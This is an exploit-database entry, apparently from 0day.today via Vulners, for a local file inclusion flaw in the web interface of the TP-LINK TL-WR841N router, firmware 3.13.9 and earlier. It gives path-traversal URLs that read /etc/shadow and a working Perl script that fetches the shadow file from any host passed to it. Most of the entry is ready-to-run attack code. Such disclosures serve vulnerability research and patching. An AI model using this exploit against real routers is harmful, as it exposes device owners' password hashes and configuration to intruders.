Lucene search
K

TP-LINK TL-WR841N Local File Inclusion Vulnerability

🗓️ 30 Oct 2012 00:00:00Reported by Matan AzugiType 
zdt
 zdt
🔗 0day.today👁 2407 Views

TP-LINK TL-WR841N Local File Inclusion Vulnerability in 3.13.9 Build 120201 Rel.54965n and Earlie

Code
Issue: TL-WR841N 300Mbps Wireless N Router by "TP-LINK"
Firmware Version: 3.13.9 Build 120201 Rel.54965n And Below Versions

Discovered Date: 24/10/2012
Author: Matan Azugi [[email protected]]
Product Vendor: http://www.tp-link.com/en/products/details/?model=TL-WR841N 

Details:

TP-LINK TL-WR841N Wireless Router is prone to a Local File Inclusion(LFI)
Vulnerability.
The vulnerability exists in Web-Based Management. The URL parameter is not
properly sanitized before being used.



Exploitation URL: 

 <http://192.168.0.1/../../../../../../../etc/shadow>
http://192.168.0.1/help/../../../../../../../../etc/shadow

Successful exploitation allows viewing the router configuration and password
files.

Proof of Concept Code: 

#TP-LINK TL-WR841N Shadow file grabber#

#built by Pulse [email protected]#

#enjoy#

 

use LWP::UserAgent;

$host = $ARGV[0];

chomp($host);

if($host !~ /http:\/\//) { $host = "http://$host"; };

 

my $ua = LWP::UserAgent->new;

$ua->timeout(30);

$lfi = "/help/../../../../../../../../etc/shadow";

$url = $host.$lfi;

$request = HTTP::Request->new('GET', $url);

$response = $ua->request($request);

my $html = $response->content;          

if($html =~ /root/) {

print "root$' \n" ;

}

#  0day.today [2018-04-01]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation